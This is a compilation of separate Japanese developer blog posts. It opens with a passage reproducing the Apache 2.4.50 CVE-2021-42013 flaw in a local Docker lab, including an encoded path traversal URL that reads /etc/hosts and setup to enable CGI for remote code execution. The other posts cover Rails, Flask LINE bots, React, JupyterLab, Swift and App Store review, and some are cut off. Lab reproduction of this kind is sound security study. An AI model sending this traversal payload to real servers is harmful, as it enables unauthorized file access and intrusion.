`http://localhost:18883/cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/etc/hosts`

![スクリーンショット 2021-10-08 12.09.27.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/547510/0fd7aa3c-64a2-7175-ca5b-490dfd586010.png)

# RCEを試す

- httpd.conf ファイルの編集

```
<IfModule !mpm_prefork_module>
	LoadModule cgid_module modules/mod_cgid.so
</IfModule>
<IfModule mpm_prefork_module>
	LoadModule cgi_module modules/mod_cgi.so
</IfModule>
```

に修正

- Dockerfileはそのまま

# ビルドと起動 （ポート18884で待ち受けてるけどどこでもいい）

`$ docker build -t apache-2450-2 .`

`$ docker run -dit --name CVE-2021-42013-RCE -p 18884:80 apache-2450-2`

# burpで実行

![スクリーンショット 2021-10-08 20.45.56.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/547510/95c0a49d-f164-dd67-5f49-3acec308e708.png)
【PHP 勉強記録】制作物リストアップ

現在：組み込みソフト開発（テスト業務がメイン）
将来の夢：Web系フリーランスエンジニア

スキル：HTML少し / PHP少し / C言語

想定している道のり①
１．現在の業務を続けながら、独学でポートフォリオを作成
２．ポートフォリオを武器に
　　クラウドソーシングで安価な業務を受けて副業として経験を積む
３．実績とスキル向上を実感したうえで、高価で難しい業務にもチャレンジ
４．退職し独立


想定している道のり②
１．Web開発系の企業に転職（ポートフォリオはいるかも）
２．実務の中で経験を積む + 独学で新しい知識も
３．①-2以降同様


そもそも組み込みをやってておもしろくないから
即座に辞める一択なのだろうと思いながらも
まだ一年目（半年）なので①なのかなぁと悩み中

どちらにせよ何かしら自分の作品は持っておきたいということで
ポートフォリオ作成に向けてスタートすることにした。

ーーーーーーーーーーーーーーーーーーーーーーーーーーーーーー

〇まず、なにを作るか
Web系志望ということもあるので言語はPHPを使用しようと思う。

ずっと考えていたものは
私の趣味であるコンカフェについて
「手書き伝票のお会計を、Webアプリでできないか」
ということである。

また、アイドルをよく見に行くことからも
「チケット予約サイト や グッズ販売サイト」
も作ってみたいと思う。

5つぐらい挙げたいところだが
興味のある分野からのほうがとっつきやすいと思うので
いったんこれで進めたいと思う。

ーーーーーーーーーーーーーーーーーーーーーーーーーーーーーー

次は設計、具体的な機能を列挙し実現に向けて考察する。
ではまた。
Linebot - 友達追加時にメッセージを送信 (Python, Flask)

# はじめに
Python + Flask 環境で作成したLinebotで、友達追加時にメッセージを送信する方法が調べてもあまり出てこなかったので、簡単にメモしました。

# 環境
* python 3.7.12
* Flask 2.0.1
* line-bot-sdk 1.20.0

# コード
全体的な流れは次のようになっています。
1. Line（クライアント側）で友達追加することで、FollowEventが発生。
2. Webhookで指定したURLにFollowEventが発生したことを、Line（クライアント側）からBotインスタンスにPOSTリクエストを送ることで通知。
3. FollowEvent発生時の処理が行われる。

細かい処理はコメント文を見てみてください。

```python
# linebot友達追加時のみメッセージを送信
from flask import Flask, request, abort

from linebot import (
    LineBotApi, WebhookHandler
)
from linebot.exceptions import (
    InvalidSignatureError
)
# linebot.modelsから処理したいイベントをimport
from linebot.models import (
    FollowEvent, TextSendMessage # FollowEventをimportするのを忘れずに！
)
import os

# Flaskクラスのインスタンスを生成
## __name__: 自動的に定義される変数で、現在のファイルのモジュール名が入る。
## ファイルをスクリプトとして実行した場合、__name__ は __main__ となる。
app = Flask(__name__)

# 環境変数取得
YOUR_CHANNEL_ACCESS_TOKEN = os.environ["YOUR_CHANNEL_ACCESS_TOKEN"]
YOUR_CHANNEL_SECRET = os.environ["YOUR_CHANNEL_SECRET"]

# インスタンス生成
line_bot_api = LineBotApi(YOUR_CHANNEL_ACCESS_TOKEN)
handler = WebhookHandler(YOUR_CHANNEL_SECRET)

# app.route("/"): appに対して / というURLに対応するアクションを登録
@app.route("/callback", methods=['POST'])
def callback():
    # get X-Line-Signature header value
    ## Lineから送られたメッセージかどうかを確認するための著名を取得 =
    ## X-Line-Signatureリクエストヘッダに含まれる著名を検証して、
    ## リクエストがLineプラットフォームから送信されたことを確認
    signature = request.headers['X-Line-Signature']

    # get request body as text
    body = request.get_data(as_text=True)# postされたデータをそのまま取得（HTTPリクエストメッセージボディ）
    app.logger.info("Request body: " + body)# ログ処理（記録）

    # handle webhook body
    try:
        handler.handle(body, signature)
    except InvalidSignatureError:# signatureエラー（Lineから送られたメッセージでない場合）
        abort(400)# abort(): flaskの関数で、httpステータスとメッセージを指定可能
        # ステータスコード400: Bad request. クライアント側のエラーにより、サーバ側がリクエストを処理できない時に使用。
    return 'OK'


# handler.add(): 引数にlinebotのリクエストのイベントを指定
@handler.add(FollowEvent)# FollowEventをimportするのを忘れずに！
def follow_message(event):# event: LineMessagingAPIで定義されるリクエストボディ
    # print(event)

    if event.type == "follow":# フォロー時のみメッセージを送信
        line_bot_api.reply_message(
            event.reply_token,# イベントの応答に用いるトークン
            TextSendMessage(text="フォローありがとうございます！"))


if __name__ == "__main__":
    port = int(os.getenv("PORT", 5000))
    # Flaskが持っている開発ようサーバーの起動
    app.run(host="0.0.0.0", port=port)
```
# まとめ
テキストメッセージを送るだけなどの簡単なメッセージを送りたい場合、LineDeveloperコンソールであいさつメッセージを設定する方が早いです。少し複雑な処理が入る場合は、上記のコードをベースに実装できると思います。
また、Webhook Eventは、FollowEvent以外にも色々あるので、参考のLineの公式ドキュメントを見てみてください。
何か、間違いがあれば、ご指摘お願いします。

# 参考
* https://github.com/line/line-bot-sdk-python
* https://developers.line.biz/ja/docs/messaging-api/receiving-messages/#webhook-event-types
React学習メモ

#基礎知識

見た目を作るコードは、HTMLとほとんど同じ。
名前を **JSX** と呼ぶ

##JSXの書き方
###HTMLとの違い
1. コードの構造に制限がある
    1. return内に複数の要素があるとエラーになる。
    1. 一つの要素の中にまとめる（入れ子構造にする必要がある）
1. コメントアウト方法はHTMLでは「<!-- -->」だが、JSXでは「{/* */}」を使用する
    1. 多分、ショートカットキーがあるので後で追記する
1. imgタグに閉じタグが必要
    1. <img src=' '/>

```js

```
【Rails】encrypted_passwordを作りたい

自分用に記録

文字列からencrypted_passwordに保存する用のハッシュに変換する。

```bcrypt.rb
password = 'Password1234!'

::BCrypt::Password.create(password).to_s
```

createに:costを数値で設定すればパスワードの強度を変更できるらしい。（4~31）
数値小さければ計算リソース少なく、大きければ強度高く。

MySQLWorkbenchから直接ユーザー登録する際などに、rails cで作る時などに使ってます。
また大量ユーザーをCSVで取り込む処理などでパスワード設定する時なども使えるかもです。
#1.25 ActiveStorageの導入&各ページの微修正

#はじめに
この記事は、自分の制作物の流れに沿って作成している記事です。
次の記事は#1.5のユーザー編集ページの作成でしたが、その前にページの中身記述や、ActiveStorageの導入などに気付き、この中途半端な#になってしまいました。

#目次
1.ActiveStorageの導入
2.Topページの作成
3.users/showページの中身作成

##1.AWS Cloud9で新しくIDE(開発環境)を立ち上げる
流れとしては、、、
①RailsアプリケーションにActiveStorageをインストール
⬇︎
②画像プロセッサのgemを導入
⬇︎
③モデルに記述
⬇︎
④ストロングパラメーターに記述(今回はやりません。次回の#1.5で記述します。)
という流れになります。この流れで説明していきます。
####①RailsアプリケーションにActiveStorageをインストール
```
$ rails active_storage:install
```
ActiveStorageを利用するために必要なマイグレーションファイルが生成される。

```
$ rails db:migrate
```
migrateを行い、データベースへ反映させる。
####②画像プロセッサのgemを導入

```:Gemfile
gem 'image_processing', '~> 1.2'
```
gemfileに記述。bundle installも忘れず実行しましょう。
以上でActiveStorageを使用する準備は整いました。
####③モデルに記述
```ruby:user.rb
# イメージメソッドの追加
has_one_attached :image
```
(Refileの時は、attachment :image)
(ActiveStorageの時は、has_one_attached :image)となる。

```ruby:user.rb
validate :image_type

private

def image_type
  if !image.blob.content_type.in?(%('image/jpeg image/png'))
    image.purge # Rails6では、この1行は必要ない
    errors.add(:image, 'はJPEGまたはPNG形式を選択してアップロードしてください')
  end
end
```
バリデーションを設定。
JPEG、PNG以外の拡張子のファイルをアップロードした場合には、エラーメッセージが表示されるようになります。


以上で、　ActiveStorageの導入は終了になります。
表示の仕方については、目次の3.users/showページの中身作成で記述しているので、そちらを参照してください。


##2.Topページの作成
目的：rails でサーバーを立ち上げた際に、毎回Topページへ遷移するので
Topページを作成し、リンクを設置する。

```
$ rails g controller homes
```
homes controllerを作成。controller/homes_controllers.rbにてtopアクションを記述。
views/homesにtop.html.erbを作成し、

```:~/config/routes.rb
root 'homes#top'
```
topページなので、controllerとアクションだけを記述すれば、ページに遷移する

```:homes/top.html.erb
<%= link_to '新規登録へ', new_user_registration_path %>
<%= link_to 'ログイン画面へ', new_user_session_path %>
```
中身を作成し、topページの作成は終了。


##3.users/showページの中身作成
前回の#1にて、ログイン後の遷移とshowページ自体の作成は行なっているので、
今回は、中身の記述だけ行う。(ActiveStorageの記述方法も)

```:users/show.html.erb
<h2>User info</h2>
<!--ActiveStorageを用いて-->
<% if @user.image.attached? %>
  <%= image_tag @user.image.variant(resize:'200x200'), class:"rounded-circle" %>
<% else %>
  <%= image_tag 'no_image.jpg', class:"rounded-circle" %>
<% end %>

<%= @user.name %>
<%= @user.introduction %>
<%= @user.status %>
```
'no_image.jpg'は自分で用意する。(assets/imagesの中に配置する。)
introductionやstatusはまだ何も書いてないが、次の#1.5で記述できるようになるので、今のうちに書いておく。

####ActiveStorageの表示の仕方
※Refileと比べて

|       |       Refile |    ActiveStorage   |
|:-----------------|:------------------|:------------------|
| フォームの作成|<%= f.attachment_field :image %>|<%= f.file_field :image %>|
| 画像の表示|<%= attachment_image_tag @user, :image %>|<%= image_tag @user.image %>|
| 画像をリサイズして表示|<%= attachment_image_tag @user, :image, :fill, 300, 300, format: 'jpeg' %>|<%= image_tag @user.image.variant(resize:'300x300') %>|

となるので、これを用いてshow.html.erbには記述する。
そして、今のままだとエラーが発生するので、最後に@userの中身をcontrollerで記述。

```ruby:~/controller/users_controller.rb
def show
  @user = User.find(params[:id])
end
```

##最後に
以上で、 ActiveStorageの導入&各ページの微修正が終了しました。
Refileに慣れるとActiveStorageが違和感感じるので、復讐を重ねて慣れていきましょ〜
[Swift] PKToolPicker in iOS14

#iOS14でPKToolPickerのshared(for:)がDeprecatedされている件

これまでのやり方

~~~swift
if let window = UIApplication.shared.windows.first {
    if let toolPicker = PKToolPicker.shared(for: window) {
         toolPicker.addObserver(canvasView)
         toolPicker.setVisible(true, forFirstResponder: canvasView)
         canvasView.becomeFirstResponder()
    }
}
~~~

iOS14 でのやり方

PKToolPickerのインスタンスをmakeUIView外で宣言。

~~~swift

@Binding var canvasView: PKCanvasView
let toolPicker = PKToolPicker.init()

func makeUIView(context: Context) -> PKCanvasView {
        self.canvasView.tool = PKInkingTool(.pen, color: .black, width: 15)
      
        toolPicker.addObserver(canvasView)
        toolPicker.setVisible(true, forFirstResponder: canvasView)
        canvasView.becomeFirstResponder()
        return canvasView
}

~~~
Gtk3アプリ イベントハンドラー自動生成ツール GUI版


### Gtk3アプリ イベントハンドラー自動生成ツール GUI版

イベントハンドラー自動生成ツールGUI版を作りました。

https://github.com/iotagtk1/GladeGeneratorGUI

[Release](https://github.com/iotagtk1/GladeGeneratorGUI/releases/)

### 特徴
イベントハンドラー文の自動生成ができます。
コールバック関数の書き出しの調整ができます。
保存先を指定できます。

#### 使用方法

#### Riderにツールを登録します。
<img width="350" alt="5.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/182324/1092af33-3328-13df-5348-fe904577d741.png">

#### 引数を登録します。

``` 
引数はReadMeを参照ください
```
#### ボタンにイベントを追加する
Gladeファイルを開き、ボタンにイベントを追加します。Onを押すとインテリセンスが利きます。
<img width="600" alt="スクリーンショット 2020-03-29 12.53.22.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/182324/f61bf619-f84e-580b-47d2-3503c83e358f.png">
#### Gladeファイルを指定し右クリックからアプリを起動する
<img width="400" alt="Screenshot from 2021-10-05 19-32-36.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/182324/2582146f-92fd-a82f-e51d-72af20c14c81.png">

#### 起動画面
<img width="650" alt="Screenshot from 2021-10-05 19-28-59.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/182324/58b57e29-62d5-c8e3-2ceb-4002cb306e9b.png">

#### 設定画面からプログラムの出力場所を指定します
<img width="500" alt="Screenshot from 2021-10-05 19-29-49.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/182324/7d14be2f-9981-f80c-f316-df6aa9b1acbc.png">

#### イベントハンドラー文の自動生成の制御ができます
<img width="450" alt="16.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/182324/071245c4-3cda-fd02-1408-dd44d21b12b0.png">

#### 出力する
OutPutボタンを押すと出力できます。

以下のようなイベント文を自動生成できます。

```*_id.cs
using System;
using Gtk;
using UI = Gtk.Builder.ObjectAttribute;
namespace testGtkApplication
{
    partial class MainWindow
    {    
		//[UI] private readonly Gtk.Window MainWindow = null;
		[UI] private readonly Gtk.Box sdfsdfsd111 = null;
		[UI] private readonly Gtk.Button _button1 = null;		
    }
}
```

```cs
using System;
using Gtk;
using UI = Gtk.Builder.ObjectAttribute;
namespace testGtkApplication
{
    partial class MainWindow
    {
	    private void on_button1_Clicked(object sender , EventArgs e){
			
		}	    
    }
}
```

#### Riderを無料で使う

オープンソース活動している方は無料でjetbrains製品すべてを使うことができます

https://www.jetbrains.com/ja-jp/community/opensource

[Gtk3アプリ イベントハンドラー自動生成ツールの作成](https://qiita.com/tana_/items/b3dfcc589829d470e32d)


[Gtk3アプリ ヘッダーにGtk.HeaderMenuを追加する](https://qiita.com/iota_11/items/e392322c5e53774c30fb)へ続く
JupyterLab Appの基本の操作メモ

# 概要

- JupyterLabのデスクトップアプリがリリースされたということで触ってみた
- アプリのインストールからパッケージの追加インストールまで
- パッケージ管理、環境の切り替えをしたいけどそこがよくわからない


# JupyterLabAppとは

その名の通り、JupyterLabのアプリです。
ダブルクリックでインストールしたらJupyterの実行環境ができちゃいます。

アプリに内包するAnacondaによってPython実行環境が完結しています。そのため、別途Python環境を構築したりということは必要なくなります。
numpy, scipy, pandas, matplotlibなどのよく使うパッケージはすでに導入済みなので、その辺りもPythonを触ってみようと思っている初学者には嬉しいのかも。

詳しくはこちらを参照してください。

https://blog.jupyter.org/jupyterlab-desktop-app-now-available-b8b661b17e9a


インストールパッケージやソースはこちら。

https://github.com/jupyterlab/jupyterlab_app


## どんな人向けか

これは私の感想ですが、Pythonを触ってみたい初学者向けかなと思います。

Pythonをとりあえず触ってみたい初学者は、「環境構築」という煩わしい作業をしなくても良いので、始めてみるための敷居は大きく下がるのかなと思います。

環境構築自体は本当は重要ではありますが、初学者にAnacondaで環境作るのが良いとか、いやpipenvを使えとかそういった論争に巻き込むのは本質的ではないかなと。
また、「Docker使えば一瞬で構築できるよ」なんて言っても、Dockerの使い方を覚えるという敷居もあるし。。。


# 触ってみる

## 実行環境

- macOS Big Sur (11.4)
- Mac mini (M1, 2020)
    - チップ　Apple M1


## アプリインストール

上記の[公式Github](https://github.com/jupyterlab/jupyterlab_app)から各OS用のインストーラが用意されてます。
また、ソースのビルド手順の記載もあります。

インストールパッケージを使う場合は、ダウンロードしてそのままインストールするだけ。


## パッケージの追加

よく使うパッケージは大体備えられていると思いますが、追加したい場合はアプリからターミナルを立ち上げて、`conda install`します。
たぶんnotebookだけでもマジックコマンドを使えばインストールできると思います。試してないけど。

ターミナルを立ち上げるには、Launcherから「Terminal」を選択（下図）。

![スクリーンショット 2021-10-06 11.16.48.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/66005/a20c4b16-52a9-e5d4-d401-9fec0146a44b.png)

ターミナルに移動して、condaを利用してパッケージをインストールします。
condaの使い方は別のドキュメントを参照してください。今回は、描画用のパッケージである`seaborn`をインストールしてみます。

まずは、パッケージを探します。

```bash
$ conda search seaborn
Loading channels: done
# Name                       Version           Build  Channel             
seaborn                        0.7.1          py27_0  conda-forge         
seaborn                        0.7.1          py34_0  conda-forge
```

`seaborn`があることが分かったので、インストール。

```bash
$ sudo conda install seaborn
```

これだけ。
アプリのインストール場所にも依存すると思いますが、`sudo`を付けないとPermissionエラーが出ます。
Windowsは知りません。

ということで、`seaborn`でちょっと見た目が良くなったplotができました。

![スクリーンショット 2021-10-06 11.26.02.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/66005/73d65d00-d210-89be-055a-897e001ddd60.png)


# パッケージ管理（できてない）

動かすだけならこれだけで良いのですが、Pythonのバージョンの切り替えなどをしたいので、仮想環境を使いたいという欲求が出てきます。（というか実務で使うならこれができないと。。。）
ということで、condaで仮想環境を作ってJupyterのカーネルを追加したらいけるないかな？と思ったんですが、できなかったです。
ご存知の方、教えてください。

やったことのメモを記載しておきます。

```bash
$ sudo conda create -n lab_app_test python=3.9 # 仮想環境の作成
$ conda info -e                                # 仮想環境が作られていることを確認
$ source activate lab_app_test                 # 仮想環境のアクティベート
$ sudo python -m pip install ipykernel         # カーネルの登録をするために実行環境のPythonにipykernelをインストール
$ sudo python -m ipykernel install --name=lab_app_test # カーネルのインストール
$ jupyter kernelspec list                      # カーネルがあることを確認
```

これでアプリを再起動するとカーネルを選択できます。
が、作成した環境が適用されてないんですよね。

詳しい方教えていただけたら助かります。

## 主な参考元

- https://towardsdatascience.com/jupyterlab-is-now-available-as-a-desktop-app-should-you-care-f29e214924f1
    - 仮想環境をカーネルの変更で切り替えるみたいな記載がある
- https://medium.com/@nrk25693/how-to-add-your-conda-environment-to-your-jupyter-notebook-in-just-4-steps-abeab8b8d084
    - conda環境をJupyterのカーネルに登録する
[Rails] Action Text 導入

# Action Textとは？
Rails6から導入された新機能で、リッチテキストと呼ばれるモダンなエディター機能が使える。
![action text.gif](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/974719/373d7a08-17a6-547d-985e-a7f1cf5bd3d6.gif)

今回はこのAction Textの導入方法のメモです。

# 実装
### ① 導入

`imagemagick`は画像変換するためのツール。
Action Textはエディター内で画像の挿入ができるので必要。

```terminal:ターミナル
$ brew install imagemagick
```

Gemfileの以下の部分のコメントアウトを外して`bundle install`。

```ruby:Gemfile
gem 'image_processing', '~> 1.2'
```

ターミナルに以下をそれぞれ追加。

```terminal:ターミナル
$ bundle exec rails action_text:install
```
```terminal:ターミナル
$ bundle exec rails webpacker:install
```

ここまでできたら以下のようなmigrationファイルが追加されているのを確認して、migrationを実行。

```ruby:db/migrate/20210622011818_create_action_text_tables.action_text.rb
class CreateActionTextTables < ActiveRecord::Migration[6.0]
  def change
    create_table :action_text_rich_texts do |t|
      t.string     :name, null: false
      t.text       :body, size: :long
      t.references :record, null: false, polymorphic: true, index: false

      t.timestamps

      t.index %i[record_type record_id name], name: 'index_action_text_rich_texts_uniqueness', unique: true
    end
  end
end

```

```terminal:ターミナル 
$ rails db:migrate
```
これで導入完了。

### ② カラムの削除

Action Textを使用したいmodel部分に以下を追加。
今回はEvent modelとします。

`content`の部分はAction Textとして使用したいカラム名なので自分のカラムに合わせてください。
今回は`content`とします。

```ruby:app/models/event.rb
has_rich_text :content
```

ちなみに、
既に`content`カラムを用意している場合Action Textでは独自のmigrationファイルに入力した値を保存してくれるで`content`カラム部分は不要になります。
なので`content`カラムを消しておきましょう。

カラムの消し方はターミナルでカラム削除用のファイルを作成して、

```terminal:ターミナル 
$ rails g migration RemoveContentFromEvents
```

`remove_column`で削除します。
`remove_column`を使う際は最後にデータ型の指定を忘れずに！(`text`の部分)

```ruby:db/migrate/20210622012137_remove_content_from_events.rb
class RemoveContentFromEvents < ActiveRecord::Migration[6.1]
  def change
    remove_column :events, :content, :text
  end
end

```

### ③ 反映
では最後にAction Textを使えるように反映していきましょう！

`app/assets/stylesheets/actiontext.scss`が追加されているのでそれを`application.scss`に追加。
`trix-editor`というのも追加してCSSを当てます。

```app/assets/stylesheets/application.scss
@import 'actiontext';
@import 'trix/dist/trix.css';


trix-editor {
  min-height: 20em;
  max-height: 20em;
  overflow-y: auto;
}
```

最後にAction Textにしたい部分のviewsを`rich_text_area`とすることで反映されます！

```ruby:app/views/events/_form.html.haml
 = f.rich_text_area  :text, class: 'form-control'
```

これで完成！

# おまけ
Action Textの内容を検索したい場合は以下の記事を参考にしてみてください！

https://qiita.com/aaaasahi_17/items/d2fafec5e16de980a03d
Rails コントローラーでActionController::UnknownFormatが起きた時の話

# 背景

この間仕事でとあるcsvの出力機能を作っている時にエラーが起きて思ったより解消に時間がかかったので、ちょっとメモっておきたいと思いました。このエラーは他の原因で起きることもあるようですが、参考となればと思います。

# 環境

Ruby 2.7.2
Rails 6.0.3.6

# コード

通常のhtml表示と同じルートにしたいので、 `respond_to` を使いました。
また、もともとransackを使ってフィルター機能を導入していて、csv出力の時もフィルタリングされた結果をベースに出力しています。

```
def index
  @q = Book.ransack(search_params)
  respond_to do |format|
    format.html do
      @books = @q.result.page(params[:page])
    end
    format.csv do
      books = @q.result
      redirect_to books_path, flash: { danger: '対象書籍がありません。' } if books.size === 0 and return
      csv_data = OrderReportCsvGenerator.new(books).generate
      send_data(csv_data, filename: "書籍一覧_#{Time.current.strftime('%Y%m%d_%H%M%S')}.csv", type: :csv)
    end
  end
end

```

# 問題点

上記のコードで実行してみたら、↓のエラーが起きて、すぐ問題点を気づいてくれる人もいらっしゃると思いますが、自分1人だと1時間ほどかかりました。。orz

```
Admin::BooksController#index is missing a template for this request format and variant. request.formats: ["text/csv"] request.variant: []
```

実はこちらの一行に問題がありました。

```
redirect_to books_path, flash: { danger: '対象書籍がありません。' } if books.size === 0 and return
```

# 解決

上記のコードを以下のように書き直せば解決しました。

```
return redirect_to books_path, flash: { danger: '対象書籍がありません。' } if books.size === 0
```
QiitaのAPIをつかって、Quiita住民の生態について考察してみた。

 <h1>はじめに</h1>
１ヶ月まえくらいまで、Quiitaってなんやねん！？って言う状態だったプログラミング初心者の初めての投稿です。
先週からはじめてプログラミング教室の宿題でとりあえず、QiitaAPIをつかってQiitaに投稿しよう！ということで、
とりあえずやってみました。

<h2>目的</h2>
Quiita APIをつかって、投稿されている日時をしらべ、投稿が多い曜日や時間を検討・考察してみる

<h2>環境</h2>
Visual Studio Code: 1.60.2
Node.js: 14.16.0
OS: Darwin x64 19.6.0


<h2>サンプルコード</h2>
とりあえずQiita APIの説明書みながら作ってね！といわれたんですが、
この　<a href="https://qiita.com/api/v2/docs#%E3%83%9A%E3%83%BC%E3%82%B8%E3%83%8D%E3%83%BC%E3%82%B7%E3%83%A7%E3%83%B3%EF%BC%89">説明書</a>　めっちゃ字が細かくてみにくい・・・・
同じプログラミング教室の先輩方の過去の宿題記事をみながらトライ＆エラーを繰り返し理解できたことは
ページあたりに表示される件数（per_page)がデフォルトでは２０件、最大１００件まで増やせる
そしてページも設定する100ページまでみられる!
<![スクリーンショット 2021-10-06 10.47.33.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2074239/c2201216-6e1c-e23b-822c-1635fa167032.png)
>
よめばちゃんと書いてありました。
（文字ちっちゃくてわかってから読まないと気づけないよ〜。）
今回はとにかくたくさん記事の投稿日時をしらべたいから、
どかんとper_pageもpage もMaxで検索かけたら、なんかエラーが。
件数が多すぎたようです。
よくわからなかたけど、これのせい？？？![スクリーンショット 2021-10-06 10.51.20.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2074239/6575853c-6127-88d9-d86c-1cfbe7c1c8b8.png)

というわけで、とっても地道にPageを１ページから順にしらべていきました。
（とっても地道）
できれば１ヶ月分とかとりたかったけど、とってもアナログな方法で時間がかかるので、直近１週間で絞ってみました。



```
const axios = require("axios");

async function main() {
   let response = await axios.get("https://qiita.com/api/v2/items?page=1per_page=100");
    for (let i = 0; i < response.data.length; i++) {
        console.log(response.data[i].created_at);
        
  }
   }
  
}
main();
```

これでpage=1 を　２、３、４・・・と増やして行きました。
最初は変数で増やしてたんだけど適切な数字がわからなかった（涙）

なかなか苦労しましたが、とりあえずデータがでてここから処理を、ってか
今度はこの数字をどうやってあつかったらよいかわらかない。。。。
そもそもこれででてくるのはJsonの時間形式ですこし変わった形なんですね。
いや普通の形ででてきてもどうしよいかまだわかんないかも。

う〜ん。
ひとまず宿題をおわらせないといけないので、これまた地道にエクセルを使うことにしました。
データをエクセルに貼り付けて、
さらに時間ごとに貼り付けて、
色分けして、、、
長い道のりでした。


<h2>結果と考察</h2>
ひとまず9/28（火）〜10/4（月）の１週間で、投稿が多かった曜日ランキング

１位：　9/30(木）　３４１件
2位：　10/3(日）　２７９件
3位：　9/29(水）　２６９件
4位：　１０/4(月）　２５１件
5位：　9/28(火）　２５０件
6位：10/2(土）　249件
7位：10/1(金）　２３６件


で木曜日がダントツに多い！！　　
そして日曜は投稿が多いけれど、金・土は少ないんですね。家族サービスかな？？
もしくは、10月１日から非常事態宣言がおわったのでみんな飲みにでかけていたのかもしれない・・・
非常事態宣言の終わりはかなりのバイアスになっているかもしれません！

つづいて、投稿の多い時間帯について検討。
![スクリーンショット 2021-10-06 10.18.36.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2074239/01873580-01b7-0a74-f73e-38bc441f16b7.png)

とりあえず、エクセルでなんとなくグラフにしてみた。
というかプログラミングどころかエクセルシートすら使いこなせない私は完全にコピー＆ペーストを繰り返し、
色分けしてグラフをつくりました。
アナログすぎて悲しい。
数字を扱える人っていうのはちゃちゃっとやっちゃうんでしょうね。
やはりそう思うとプログラミングスキルで数字扱えるようになると何かと効率的なんだろうな。

本題にもどると、このグラフ、パッとみても傾向がみて取れますね。
予想通り深夜帯１２寺前後はやはりボリュームゾーン。
パソコン触る系の人たちって夜行性にイメージがあったので、２時とか３時とかも多いのかなとおもったら、
２〜４時台はかなり減ってました！
みんなちゃんと夜は寝てるのかな。安心しました。
睡眠は健康にも日々のパフォーマンスをあげるにも大事なので夜は寝ましょうね〜。
そして８時台とかも意外と投稿が多い。朝はも多いんですね！
お昼過ぎから夕方くらいもまぁまぁ多い。みなさんお仕事しながら投稿しているのかな？？？
ということは職場でQiitaに投稿する作業が許されている環境なんでしょうか？？

データは少ないですが、一応、投稿時間については一定の傾向があることはわかりました。

<h2>おわりに</h2>
投稿するって時間もかかるし、苦手意識がつよかったのですが、
実際描いてみると、ほかのSNSとは違い論文みたいな構成だなぁとおもいました。
論文もろくに描いたことないけど、Qiitaを描き続ければ論文作成もうまくなるかも！！？？
Mac ショートカットキー備忘録

###環境

 - Mac
 - ⬆︎[Shift]※個人的にみやすいのでこの表示

----

###更新

自分がよく使うものの備忘録です。
随時更新していきます。


----


###　Chrome

【検証ツール】

```
option + command + I
```


----


###　VScode

【コマンドパレット】

```
⬆︎ + command + P
```
　

【ページ更新/リロード/キャッシュクリア】

```
⬆︎ + command + R
```
　

【ターミナル追加表示】

```
⬆︎ + control + @
```
　

【デバック】

```
control + F5
```
　

【文字サイズ変更：拡大】

```
command + ⬆︎ + +（プラスキー）
```
　

【文字サイズ変更：縮小】

```
command + -（マイナスキー）
```
----


###　その他（Mac）

【Finderファイル名選択】

```
▶︎ または ◀︎　
```
　

【Finderファイル名変更】

```
対象ファイル選択　+ Enter
```
　

【カーソル移動：文頭先頭に移動】

```
control ＋ A
```
　

【カーソル移動：文末段落末に移動】

```
control ＋ E　
```
　

【カーソル移動：文中カーソルを右へ→】

```
control ＋ F
```
　

【カーソル移動：文中カーソルを左へ←】

```
control ＋ B
```
　

【カーソル移動：文中カーソルを上へ↑】

```
control ＋ P
```
　

【カーソル移動：文中カーソルを下へ↓】

```
control ＋ N
```
　

【ページ更新】

```
command + R
```

----
Guideline 4.2.2 - Design - Minimum Functionalityを突破したお話

#はじめに

こんにちは/こんばんは/初めまして。
Swift/Kotlin/Flutterメインで開発しているアプリエンジニアです。

今回はiOSのアプリエンジニアで一番厄介なリジェクト。
**Guideline 4.2系列のリジェクト！！4.2.2を受けました！**

こちらを突破したしたので、忘備録として残しておきます。

#Guideline 4.2.2 - Design - Minimum Functionalityとは
Appleから引用。

>4.2 最低限の機能性
Appを作成する際は、Webサイトを単に再パッケージしたようなものではなく、優れた機能、コンテンツ、UIを作成するようにしてください。特に便利でも、ユニークでも、「Appらしく」もない場合、そのAppをApp Storeで提供することはできません。Appが継続的に楽しめる何らかの価値、または十分な有用性を備えていない場合は、承認されない可能性があります。Appが単に曲または映画の場合は、iTunes Storeに提出してください。Appが単に書籍またはゲームの攻略本の場合は、Apple Books Storeに提出してください。

>>4.2.1 ARKitを使用するAppは、表現に富み、統合された拡張現実体験をユーザーに提供する必要があります。単にモデルをARビューで表示したり、アニメーションを再生したりするだけでは不十分です。
4.2.2 カタログを除き、主な目的がマーケティングの資料の提供、広告、Webクリッピング、コンテンツアグリゲーター、リンク集であるAppは許可されません。

https://developer.apple.com/jp/app-store/review/guidelines/#design

かんたんに言うとはク○アプリだから、もっと機能つけるなりして！
このままだとAppleStoreに載せられないよ！
ということです。

#アプリアップデートで審査が通らなくなった。
前提としてもともとアプリの審査は通ってました。
ですが、アプリのバージョンアップを重ねているうちに4.2.2リジェクトを受けました。

#1回目リジェクトやりとり
>担当者「`4.2.2リジェクト`です。（テンプレで)」
>私「アプリはもともと審査が通っていた。なぜ審査が通らなくなったのか教えて」
>担当者「`4.2.2リジェクト`です。（テンプレで)」
>私「リジェクトはわかった。何が駄目なのか具体的に教えて。」
>担当者「`4.2.2リジェクト`です。（テンプレで)」

わかってましたが埒が明かない。
後で実装予定だった機能を実装していくことにしました。

#怒涛のリジェクトラッシュ

###Push機能追加
担当者「`4.2.2リジェクト`です。（テンプレで)」

###Twitter投稿機能追加
担当者「`4.2.2リジェクト`です。（テンプレで)」

###Youtube投稿機能追加
担当者「`4.2.2リジェクト`です。（テンプレで)」

###検索機能強化
